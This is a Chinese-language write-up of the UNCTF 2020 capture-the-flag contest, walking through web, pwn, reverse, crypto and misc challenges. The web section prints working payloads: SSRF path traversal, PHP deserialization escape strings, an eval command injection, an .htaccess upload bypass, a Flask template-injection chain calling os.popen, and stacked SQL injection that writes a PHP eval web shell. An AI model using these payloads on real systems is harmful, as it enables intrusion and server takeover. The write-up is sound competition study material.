2020年高校联合招新赛UNCTF
竞赛时间: 2020年11月07日-14日
后面几天没太看掉了下来,Rank: 23
Web
easy_ssrf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
简单的ssrf攻击。
file_get_contents
函数,当目标请求时会判断使用的协议,如果为无法识别的协议会当做目录处理,会造成目录穿越,构造payload: ?url=0://unctf.com/../../../../../flag
拿到flag。
easyunserialize
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
反序列化字符串逃逸。
先构造普通情形:
1 |
|
需要password
变为easy
,且challenge
会多4字节变easychallenge
,构造
?1=challenge";s:8:"password";s:4:"easy";}
会变成
?1=easychallenge";s:8:"password";s:4:"easy";}
计算需要的challenge
数量:$9x+29=(9+4)x$,发现 $x=7.25$ 非整数,
在payload后补足三个空格,使得 $9x+29+3=(9+4)x$,解得 $x=8$,即构造uname
为8个challenge
并在尾部补三个空格,payload:
?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}%20%20%20
babyeval
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
过滤不多的RCE,?a=echo `base64 flag.php`
ezphp
1
2
3
4
5
6
7
8
9
10
11
12
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
反序列化,要构造username
为admin
和password
为password
,尝试构造array:
1 |
|
发现不成功,那么username
和password
需要的实际字符串应该不对。
if判断条件出用的是==
弱类型比较,PHP中任意字符串==true
结果都为true
,更换构造值为bool类型:
1 |
|
POST提交payload,得到flag。
easy_upload
随便上传
De1ctf 2020-Check in原题。
随便传一个jpg文件,回显过滤perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!
上传.htaccess文件,bp改包,用换行绕过关键字过滤:
1 | AddHandler p\ |
再随便传一个txt文件,访问对应路径即加载得到/flag内容。
easyflask
进入提示a easy flask problem,first login as the admin
,
访问/login
登录,尝试admin/admin
登录,提示login fail! check /register
,
访问/register
注册,用admin/admin
注册,提示register success
,注册成功,
回到登录页登录,提示admin login success!
,
再回到主页,发现提示变为admin login success and check the secret route /secret_route_you_do_not_know
访问/secret_route_you_do_not_know
,提示you should 'guess' the secret number
GET方式传入?guess={{3*5}}
,回显15 error!!
,存在SSTI漏洞。
fuzz一波,发现过滤了[]
、_
、"
、'
、%
等,尝试用request外部参数方式,利用<class 'click.utils.LazyFile'>
类命令执行。
列目录:
1 | ?guess={{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(475)}}¶m=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&init=__init__&g=__globals__&mod=os&func=popen&cmd=ls&re=read |
读文件:
1 | ?guess={{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(475)(request.args.file)|attr(request.args.re)()}}¶m=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&file=flag.txt&re=read |
checkin-sql
非常简单的sql 0.0
提示1:flag不在数据库中。。
强网杯 2019-随便注原题魔改。
1' or 1=1 #
,查看返回数据
1' order by 2 #
,查列数
1' union select 1,2 #
,失败,说明有正则过滤
1'; show databases;#
,堆叠注入查数据库
1'; show tables;#
,堆叠注入查表
1'; show columns from 0xDktb;#
,堆叠注入查数据库
用预处理语句查询结果(select * from `0xDktb`
):
1'; set@a=0x73656c656374202a2066726f6d20603078446b746260; prepare execsql from @a;execute execsql;#
,失败,说明有关键字被过滤,尝试发现是set
关键字
改为:
1'; prepare execsql from 0x73656c656374202a2066726f6d20603078446b746260;execute execsql;#
,成功查询,但不是flag,更换查询内容,找了整个数据库都未发现flag字符串。
猜测flag在文件系统里,尝试写文件(select '<?php @eval($_POST[ccc]);?>' into outfile '/var/www/html/shell.php'
):
1'; prepare execsql from 0x73656c65637420273c3f70687020406576616c28245f504f53545b6363635d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f7368656c6c2e70687027;execute execsql;#
用蚁剑试连,发现成功,在根目录拿到flag。
Pwn
YLBNB
守护世界上最好的YLB
nc 45.158.33.12 8000
先nc,提示用pwntool,运行脚本拿到flag。
1 | from pwn import * |
fan
简单ret2text
1 | from pwn import * |
do_you_like_me?
简单ret2text
1 | from pwn import * |
Reverse
re_checkin
二进制手做不出来这个就考虑退役吧
IDA打开,定位到start
函数,再不断跟进到sub_4015DC
发现flag。
1 | .text:00000000004015DC sub_4015DC proc near |
反编译
用 pyinstxtractor反编译出pyc文件,再用uncompyle6反编译pyc可得源代码:
1 | str2 = 'UMAQBvogWLDTWgX"""k' |
运行得flag。
babypy
Babypy.That’s really easy!!!
用 pyinstxtractor反编译出pyc文件,再用uncompyle6反编译pyc可得源代码:
1 | import os, libnum, binascii |
代码逻辑为字符→10进制→2进制→字符16进制,txt文件16进制按逻辑逆推得到flag。
CTFilter
假如你是李华,你的好友学习委员无意之间看到了一串flag!
这串flag极有可能是解开谜题的关键。
他立刻在一台装有Windows10 1903 x64操作系统的虚拟机中使用记事本写下了这串flag并保存。
然而,令他没想到的是,这个系统却另有玄机!
任何人都无法在这个系统中写下正确的flag?
请你以好友的身份对他伸出援手,帮助学习委员找到真正的flag。学习委员:那你能帮帮我吗?
李华:瞧谁不起呢?
压缩包里有CTFilter.sys、Hint.exe、Unknown_data、Story.txt四个文件,IDA分析前两个,CTFilter.sys查看没什么结果,Hint.exe中发现一个flag字符串flag{Oh!You_found_me~}
,结合题干描述这串flag极有可能是解开谜题的关键
,尝试将flag字符串作为key与密文Unknown_data异或,发现居然成功得到flag。
Crypto
easy_rsa
给 $a,b,e$,易推出 $p$ 和 $q$,再按正常RSA解法解即可。
1 | import gmpy2 |
鞍山大法官开庭之缺的营养这一块怎么补
某日,鞍山大法官在点外卖时点了2个韭菜盒子,商家只送了1个,大法官给了该商家一个差评
次日,该大法官又在该商家点了1个韭菜盒子,希望商家能补上上次的韭菜盒子,而商家又只发了一个韭菜盒子
这名大法官一天正常要吃2个韭菜盒子,而该商家每天只给他1个韭菜盒子,请问该名大法官缺的营养这一块怎么补
ottttootoootooooottoootooottotootttootooottotttooootttototoottooootoooottotoottottooooooooottotootto
flag格式:unctf{}
尝试二进制转字符及摩斯密码均不成功,最后才想到培根密码,分别把o和t替换为A和B,在线解密得flag。
简单的RSA
你们都不会百度的吗
只给出 $e,n,c$,且 $e$ 很大,简单的RSA Wiener攻击:
1 | #sage |
wing
你过office二级了吗
提示office,猜测为word中某种字体,打开word输入字母+数字,再切换各字体核对,发现为Wingdings 2
字体,对照替换得flag。
signin
Really baby problem about block cipher
flag 格式: flag{}
AES-ECB模式两次加密,且密钥已知位较多,可采用中间人攻击(MITM)。
爆破脚本:
1 | from Crypto.Cipher import AES |
快乐数学_0x00
刚才我问扎克利,扎总发生甚么事了。扎总说怎么回事。我给扎总发了几张截图。
扎总一看,噢,原来是昨天,几个大学生,二十多岁,他们说,哎~。
有一个说,我在 UNCTF 打比赛,头都做疼了,扎总,你能不能教教我怎么做题,哎,帮我分数弄高一点。
扎总说,可以,你在 UNCTF 死做题,不好用。他不服气。
扎总说,我说小朋友,你多长两个脑子来做我这新题。他做不动,他说你这个没用。
扎总说,我这个有用,他是数学,数学对计算机基础很重要,二百多个人做不出我这题。他非要和我试试。
扎总说,可以。扎总一说他啪站起来了,很快啊,然后上来一个左正蹬,一个右鞭腿,一个左刺拳。
扎总全部防出去了啊,防出去以后,自然是传统功夫以点到为止,右手把数学题摁在他鼻子上,没打他,扎总笑了一下,准备收拳。
后面我暂时编不下去了,你们来跟扎总打吧。
数学题,可能存在异议的,群里私聊 Hanser 的老公。链接: https://pan.baidu.com/s/1nB8j4TN3HFe_SXvrwzyE2g 密码: ca04
纯高数回忆录,复习了一把,采用wolframalpha辅助计算。
第一个,$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\cdots+\sqrt[n]{2020}}{2020})^n$:
计算到2020开n次方的求和不好表示,可以用wolframalpha观察规律:
$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}}{2020})^n=\sqrt{2}$
$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\sqrt[n]{3}}{2020})^n=\sqrt[3]{6}=\sqrt[3]{2\cdot3}$
$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\sqrt[n]{3}+\sqrt[n]{4}}{2020})^n=\sqrt[4]{24}=\sqrt[4]{2\cdot3\cdot4}$
$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\sqrt[n]{3}+\sqrt[n]{4}+\sqrt[n]{5}}{2020})^n=\sqrt[5]{120}=\sqrt[5]{2\cdot3\cdot4\cdot5}$
以此类推,$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\cdots+\sqrt[n]{2020}}{2020})^n=\sqrt[2020]{2020!}$
第二个,$\lim \limits_{x \to +\infty} \cfrac{\int_{0}^{x}\text{d}u\int_{0}^{u}[u^2-3\sin(u-t)^2] \text{d}t }{x^8}$:
wolframalpha编写:
limit (integrate (integrate (u^2-3sin(u-t)^2),t=0 to u),u=0 to x)/(x^8) as x->+∞
计算得出:$\lim \limits_{x \to +\infty} \cfrac{\int_{0}^{x}\text{d}u\int_{0}^{u}[u^2-3\sin(u-t)^2] \text{d}t }{x^8}=\cfrac{1}{112}$
第三个,设 $\Omega:x^2+y^2 \leq 3z,1 \leq z \leq 4$,求 $\displaystyle\iiint_\Omega \cfrac{1}{\sqrt{x^2+y^2+z}}\text{d}v$:
转换到极坐标求解,设 $x=r\sin{\theta},y=r\cos{\theta}$:
wolframalpha编写:
(integrate dθ,θ=0 to 2*pi)(integrate r/sqrt(r^2+z) dr, r=0 to sqrt(3z))
integrate 2*pi*sqrt(z) dz, z=1 to 4
计算得出:
$\displaystyle\iiint_\Omega \cfrac{1}{\sqrt{x^2+y^2+z}}\text{d}v=\int_{1}^{4}\text{d}z\int_{0}^{2\pi}\text{d}\theta \int_{0}^{\sqrt{3z}}\cfrac{r}{r^2+z}\text{d}r=\int_{1}^{4}2\pi\sqrt{z}\text{d}z=\cfrac{28\pi}{3}$
最后,合并为\sqrt[2020]{2020!}-\frac{1}{112}-\frac{28\pi}{3}
,md5值为flag。
Misc
baba_is_you
了解一下png文件格式
16进制查看,文件尾有一串B站网址,访问,在评论区发现flag。
爷的历险记
RPG小游戏
爷把flag弄丢了, 你可以帮他找回来吗
RPG小游戏,启动玩耍。
屋里屋外到处寻找线索,发现两个箱子,分部用base64解码出密码66668888和摩斯密码解码出密码23332333打开箱子拿奖励,依次勉强打过屋外主场景左边和下边两个场景的小boss,屋外主场景右下方商人处可以购买hint1和hint2,hint2提示查看游戏存档。
想到修改存档文件的方式,更改金钱以购买hint3。使用RPG存档在线修改器修改rpgsave文件中的金钱属性值到最大值,再回到游戏加载存档,购买hint3即为flag。
阴阳人编码
发现含就这.
、就这¿
、不会吧!
三种字符串,需要一点脑洞,联想到Ook编码,在线解密得flag。
躲猫猫
我躲好了,你来找我
直接打开报错,右键压缩包打开,在sharedStrings.xml发现base64编码字符串,base64+url解码得flag。
YLB’s CAPTCHA - 签到题
YLB同款验证码
硬看到眼睛疼就能过了,可以考虑修改css配色方案降低难度。
撕坏的二维码
RPG小游戏
爷把flag弄丢了, 你可以帮他找回来吗
部分遮盖的二维码,直接用QR Rearch识别出flag。
网络深处1
好孩子不要上洋葱鸭
三个文件,txt有一串数字,zip包加密,
Audacity分析wav文件,结合文件名“拨号音”,用DTMF拨号音识别脚本识别出wav的手机号码,解压得一个wav文件和txt文件,继续Audacity分析wav文件,切换到频谱图发现关键字我是tupper
,
了解到Tupper为自我指涉公式,找到一个在线还原图像网站还原得flag。
mouse_click
flag格式为unctf{*},**中的字母统一为大写
简单鼠标流量取证。
提取usb数据信息:
tshark -r mouse.pcapng -T fields -e usb.capdata > usbdata.txt
提取坐标值脚本:
1 | nums = [] |
运行:python analyse.py
控制台画图:gnuplot.exe -e "plot 'result.txt'" -p
被删除的flag
flag被删除了,你能恢复它吗
16进制查看,搜索unctf
得flag。
你能破解我的密码吗
flag内容为密码的32位小写的md5,请用unctf{}包裹字符串
shadow文件中倒数第二行,用john命令破解弱口令:
john --show shadow
得到密码,md5处理即flag。
EZ_IMAGE
手撸最终肯定能出来,不过学到更好用的自动化姿势(montage+gaps),适用于任何拼图题:
先把225张图用ImageMagick中的montage命令合成一张大图:
montage *.jpg -tile 15x15 -geometry 60x60+0+0 out.jpg
得到一张大图之后,用gaps来进行还原:
gaps --image=out.jpg --generations=40 --population=225 --size=60 --save
零
我瞎了看不到flag了
零宽字符隐写,可以在vim中用vim -A xxx.txt
查看核实。
全选复制,用在线工具直接取出flag。
YLB绝密文件
提示1:需要提取出三个文件: *.pyc,*.py,*.zip
提示2:zip文件可以以原始数据的形式导出Hex值,再导入Winhex/010 Editor然后删去非Zip数据部分(自行百度Zip格式
Wireshark查看流量包,追踪TCP流,分别在流11、流16和流20流提取出xor.py、secret.cpython-38.pyc和YLBSB.zip三个文件。
用uncompyle6还原pyc文件为secret.py文件拿到key值YLBSB?YLBNB!
,再根据xor.py代码逻辑,将key与zip包中的YLBSB.xor文件16进制值异或,保存得到YLBSB.docx文件,打开得到flag。
倒影
16进制查看exe文件发现是jpg图,在尾部发现4030B405
,即为倒着存入的一段16进制zip文件,取出16进制逆序还原,用ARCHPR纯数字跑出弱口令得到flag。
Other
调查问卷
请大家认真填写哟~ 只有几道,不多,最多占用大家两三分钟…
问卷地址:https://wj.qq.com/s2/7519766/6af6/
想要大家一起吐槽?
知乎链接:https://www.zhihu.com/question/429290669/answer/1564365629
反馈就是了。